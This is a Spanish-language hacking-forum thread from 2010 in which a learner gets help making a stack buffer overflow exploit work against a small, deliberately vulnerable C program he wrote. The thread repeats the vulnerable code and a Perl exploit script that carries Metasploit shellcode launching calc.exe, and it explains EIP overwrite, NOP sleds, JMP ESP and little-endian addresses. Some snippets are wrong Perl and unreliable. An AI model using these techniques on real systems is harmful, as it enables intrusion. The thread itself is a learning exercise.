elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 06:34  


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Ayuda SBOF.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda SBOF.  (Leído 1,696 veces)
PHAMTOM

Desconectado Desconectado

Mensajes: 83

0x8B,0xEC,0x33,0xFF


Ver Perfil
Ayuda SBOF.
« en: 4 Febrero 2010, 18:16 »

Buenas :) , después de leer manuales de Stack Buffer Overflow,empeze a hacer las pruebas,y la verdad
que no puedo ejecutar calc.exe ( como shellcode ) , probe con otros shellcode generados por metasploit
pero tampoco,paso a detallar el problema.

Codigo del programa vulnerable a bof :

Código:
#include <stdio.h>
int main()
{
char buffer[10];
printf("Escribe : \n");
scanf("%s",buffer);
}

Se desborda a los 28 BITS empiezo a escribir EIP ( la direccion de retorno de main )..

uso un patrón para llegar a los 28 bits : Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A(28 bits)

Aqui es donde empiezo a escribir EIP..

IMAGEN !



IMAGEN DONDE MUESTRO QUE A LOS 28 ESCRIBO EIP CON BBBB.

Bueno,luego busco un push esp ret en memoria ,para utilizarlo como EIP.

54 C3(hexa push esp ret)




LA SHELL CODE LA GENERE CON METASPLOIT.

Este es mi exploit..


Código:
#!/usr/bin/perl
my $nop = "\x90";
my $breakpoint = "\xcc";
my $relleno = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A"; // patrón que utilizo para llenar el buffer
my $eip = pack("V", 0x7C93C35C); // Direccion de mem donde esta el push esp
my $muelle = $nop x 50;
# SHELLCODE DE METASPLOIT (calc.exe)
my $shellcode =
"\x89\xe1\xdd\xc3\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a".
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41".
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42".
"\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x45\x50\x45\x50\x45".
"\x50\x4c\x4b\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44".
"\x38\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51".
"\x4f\x51\x30\x45\x51\x4a\x4b\x47\x39\x4c\x4b\x47\x44\x4c".
"\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c\x4b".
"\x34\x49\x50\x43\x44\x45\x57\x49\x51\x48\x4a\x44\x4d\x43".
"\x31\x48\x42\x4a\x4b\x4a\x54\x47\x4b\x51\x44\x46\x44\x43".
"\x34\x42\x55\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45\x51\x4a".
"\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45".
"\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51\x4a".
"\x4b\x4d\x59\x51\x4c\x51\x34\x45\x54\x49\x53\x51\x4f\x50".
"\x31\x4a\x56\x43\x50\x46\x36\x43\x54\x4c\x4b\x47\x36\x50".
"\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e".
"\x4d\x4c\x4b\x42\x48\x44\x48\x4b\x39\x4c\x38\x4d\x53\x49".
"\x50\x43\x5a\x46\x30\x42\x48\x4c\x30\x4d\x5a\x43\x34\x51".
"\x4f\x42\x48\x4d\x48\x4b\x4e\x4d\x5a\x44\x4e\x50\x57\x4b".
"\x4f\x4b\x57\x43\x53\x45\x31\x42\x4c\x42\x43\x45\x50\x45".
"\x5a\x41\x41";
# CONSTRUIMOS EXPLOIT
my $exploit = $relleno.$eip.$muelle.$shellcode;
# LANZAMOS EXPLOIT
my $file = "exploit.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );
print "Fichero exploit.txt creado\n";

LUEGO EN LA CONSOLA UTILIZO exploit.txt ( GENERADO POR PERL ) para vulnerar el programar..

IMAGEN :



No se ejecuta la shell code :( !

Desde ya muchisimas gracias ;) , saludos.- :rolleyes:

« Última modificación: 4 Febrero 2010, 18:19 por H-PHAMTOM » En línea

Miran a cualquier ventana, mientras su pánico emana
y nubla su visión mi calma es pura precisión
cargo munición y miro tranquilo
ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!

La kitchner quiere tanto a los pobres,que cada vez,tiene más
ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Re: Ayuda SBOF.
« Respuesta #1 en: 4 Febrero 2010, 21:17 »

Parece ser que el problema es que no le estas pasando nada al programa.
Estas intentando pasarle el exploit mediante un scanf(). El comando "type exploit.txt | vuln.exe" (creo, por que nunca e utilizado este comando asi) introduce el exploit como parametro y no como una entrada desde teclado. (no se si me explico...  :rolleyes:)

Aver, mi recomendación es que le introduzcas el exploit o bien mediante un .txt que el programa lea automaticamente o como parametro al inicio del programa.

Para ir empezando es mas sencillo introducir el exploit al inicio del programa como parametros mediante argc y *argv, y luego copiarlo al buffer con strcpy(buffer,argv[1]). Asi el comando type te funcionará, o mediante Perl añadir la linea "system ("vuln.exe",$exploit);"


De este modo tu vuln.exe quedaria asi:
Código:
#include <stdio.h>
int main(int argc, char *argv[])
{
char buffer[10];
printf("Escribe: %s",argv[1]);
strcpy(buffer,argv[1]);

}

Ahora surgen varios problemas mas:

- Estas intentando saltar a alguna zona de memoria que contenga un PUSH ESP RET:
   El comando PUSH introduce un registro en la pila, y lo que nosotros buscamos es que "salte" desde la direccion contenida por ESP, para ello tenemos que buscar un JMP ESP, no un PUSH. Puedes buscarlo con el programa Findjmp que esta en este foro. Aunque el tema de saltos en memoria dejalo para la siguiente prueba, en esta es mejor que redirijas el curso del programa mediante EIP.

-Estas intentando meter el shellcode y los nops en la memoria que hay "por debajo" de la pila, y esto no lo entiendo muy bien por que es aun, pero por debajo no he conseguido hacerlo con shellcodes largas, creo que el espacio inferior a la pila es finito y no entran todos los bytes del shellcode. (Muy probablemente este equivocado en esto, si alguien me soluciona la duda lo agradezco  ;D)

Para hacerlo de esta manera la cosa quedaria asi...

NOPS NOPS
NOPS NOPS
NOPS NOPS
SHELLCODE <
SHELLCODE  |
SHELLCODE  |
ESP              |
EIP ------------     <---EIP apunta al comienzo de la shellcode o un poco mas arriba
EBP
BASURA

- De esta forma vuln.exe deberia tener un buffer de 300 por ejemplo, en vez de uno de 10, dejando espacio suficiente para introducir los nops y el shellcode.
Código:
char buffer[300];


De esta forma tu exploit.pl quedaria asi:
Código:
#!/usr/bin/perl
my $nop = "\x90" * 100; # <-- 100 es un ejemplo ^^
my $eip = "\x20\xFE\x22\x00"; # <--- ejemplo tambien

# SHELLCODE DE METASPLOIT (calc.exe)
my $shellcode =
"\x89\xe1\xdd\xc3\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a".
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41".
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42".
"\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x45\x50\x45\x50\x45".
"\x50\x4c\x4b\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44".
"\x38\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51".
"\x4f\x51\x30\x45\x51\x4a\x4b\x47\x39\x4c\x4b\x47\x44\x4c".
"\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c\x4b".
"\x34\x49\x50\x43\x44\x45\x57\x49\x51\x48\x4a\x44\x4d\x43".
"\x31\x48\x42\x4a\x4b\x4a\x54\x47\x4b\x51\x44\x46\x44\x43".
"\x34\x42\x55\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45\x51\x4a".
"\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45".
"\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51\x4a".
"\x4b\x4d\x59\x51\x4c\x51\x34\x45\x54\x49\x53\x51\x4f\x50".
"\x31\x4a\x56\x43\x50\x46\x36\x43\x54\x4c\x4b\x47\x36\x50".
"\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e".
"\x4d\x4c\x4b\x42\x48\x44\x48\x4b\x39\x4c\x38\x4d\x53\x49".
"\x50\x43\x5a\x46\x30\x42\x48\x4c\x30\x4d\x5a\x43\x34\x51".
"\x4f\x42\x48\x4d\x48\x4b\x4e\x4d\x5a\x44\x4e\x50\x57\x4b".
"\x4f\x4b\x57\x43\x53\x45\x31\x42\x4c\x42\x43\x45\x50\x45".
"\x5a\x41\x41";
# CONSTRUIMOS EXPLOIT
my $exploit = $nop.$shellcode.$eip;
# LANZAMOS EXPLOIT
system("vuln.exe",$exploit);
print "\nExploit lanzado con exito!!\n";

Ahora deberias volver a calcular el numero exacto de bytes que debes introducir para sobreescribir EIP.
A continuacion restar este numero a la longitud de tu shellcode, suponiendo que sea 164. ( Si suponemos que el tamaño del string que tienes que introducir para sobreescribir EIP es 332, restaremos este numero a 164 y te daria 168, que es el numero de Nops que debes introducir antes del shellcode)
Citar
my $nop = "\x90" * 168;

Y $eip debe contener la direccion de memoria donde se encuentra el principio de tu shellcode, o alguno de los nops que hayas introducido para que el curso del programa "resbale" hasta tu shellcode.
Esta direccion debes sacarla siguiendo el programa con el olly y viendo en tiempo real donde deposita el exploit tu shellcode.

Bueno, espero haberme explicado, se que puede ser un poco lioso, pero en cuanto entiendas el funcionamiento lo vas a ver muy claro.

Un saludo y suerte.


« Última modificación: 4 Febrero 2010, 22:41 por ikary » En línea
PHAMTOM

Desconectado Desconectado

Mensajes: 83

0x8B,0xEC,0x33,0xFF


Ver Perfil
Re: Ayuda SBOF.
« Respuesta #2 en: 5 Febrero 2010, 03:06 »

Muchas gracias,vos siempre con tus respuestas dedicadas  ;-) , ahora voy a probar.

PHAMTOM
« Última modificación: 5 Febrero 2010, 03:09 por H-PHAMTOM » En línea

Miran a cualquier ventana, mientras su pánico emana
y nubla su visión mi calma es pura precisión
cargo munición y miro tranquilo
ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!

La kitchner quiere tanto a los pobres,que cada vez,tiene más
PHAMTOM

Desconectado Desconectado

Mensajes: 83

0x8B,0xEC,0x33,0xFF


Ver Perfil
Re: Ayuda SBOF.
« Respuesta #3 en: 5 Febrero 2010, 03:07 »

De esta forma tu exploit.pl quedaria asi:
Código:
#!/usr/bin/perl
my $nop = "\x90" * 100; # <-- 100 es un ejemplo ^^
my $eip = "\x20\xFE\x22\x00";//COMO TRANSFORMO LA DIRECCION DE MEMORIA A HEXA?? # <--- ejemplo tambien

# SHELLCODE DE METASPLOIT (calc.exe)
my $shellcode =
"\x89\xe1\xdd\xc3\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a".
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41".
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42".
"\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x45\x50\x45\x50\x45".
"\x50\x4c\x4b\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44".
"\x38\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51".
"\x4f\x51\x30\x45\x51\x4a\x4b\x47\x39\x4c\x4b\x47\x44\x4c".
"\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c\x4b".
"\x34\x49\x50\x43\x44\x45\x57\x49\x51\x48\x4a\x44\x4d\x43".
"\x31\x48\x42\x4a\x4b\x4a\x54\x47\x4b\x51\x44\x46\x44\x43".
"\x34\x42\x55\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45\x51\x4a".
"\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45".
"\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51\x4a".
"\x4b\x4d\x59\x51\x4c\x51\x34\x45\x54\x49\x53\x51\x4f\x50".
"\x31\x4a\x56\x43\x50\x46\x36\x43\x54\x4c\x4b\x47\x36\x50".
"\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e".
"\x4d\x4c\x4b\x42\x48\x44\x48\x4b\x39\x4c\x38\x4d\x53\x49".
"\x50\x43\x5a\x46\x30\x42\x48\x4c\x30\x4d\x5a\x43\x34\x51".
"\x4f\x42\x48\x4d\x48\x4b\x4e\x4d\x5a\x44\x4e\x50\x57\x4b".
"\x4f\x4b\x57\x43\x53\x45\x31\x42\x4c\x42\x43\x45\x50\x45".
"\x5a\x41\x41";
# CONSTRUIMOS EXPLOIT
my $exploit = $nop.$shellcode.$eip;
# LANZAMOS EXPLOIT
system("vuln.exe",$exploit);
print "\nExploit lanzado con exito!!\n";




como transformo la dir de memoria del push a hexadecimalll... me surgio esa duda :P !
« Última modificación: 5 Febrero 2010, 03:10 por H-PHAMTOM » En línea

Miran a cualquier ventana, mientras su pánico emana
y nubla su visión mi calma es pura precisión
cargo munición y miro tranquilo
ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!

La kitchner quiere tanto a los pobres,que cada vez,tiene más
ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Re: Ayuda SBOF.
« Respuesta #4 en: 5 Febrero 2010, 13:51 »

Citar
como transformo la dir de memoria del push a hexadecimalll... me surgio esa duda  !

Viene explicado en todos los manuales que te mandé XDD

Se llama Little Endian y consiste en introducirlo alreves de 2 en 2: <--http://lefunes.wordpress.com/2008/05/13/endianess-big-endian-y-little-endian/

0022FE20  ----> 20FE2200

Y le indicamos a perl que la cadena es hexadecimal poniendo delante de cada 2 bytes \x y quedaria asi

\x20\xFE\x22\x00

Espero que se haya entendido.

Un saludo
« Última modificación: 5 Febrero 2010, 16:52 por ikary » En línea
PHAMTOM

Desconectado Desconectado

Mensajes: 83

0x8B,0xEC,0x33,0xFF


Ver Perfil
Re: Ayuda SBOF.
« Respuesta #5 en: 5 Febrero 2010, 20:35 »

Buenisimo,gracias pueden cerrar el tema , gracias ikary. ;D
En línea

Miran a cualquier ventana, mientras su pánico emana
y nubla su visión mi calma es pura precisión
cargo munición y miro tranquilo
ya ni respiro desde al ático os vigilo sigo al filo os tengo a tiro!

La kitchner quiere tanto a los pobres,que cada vez,tiene más
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines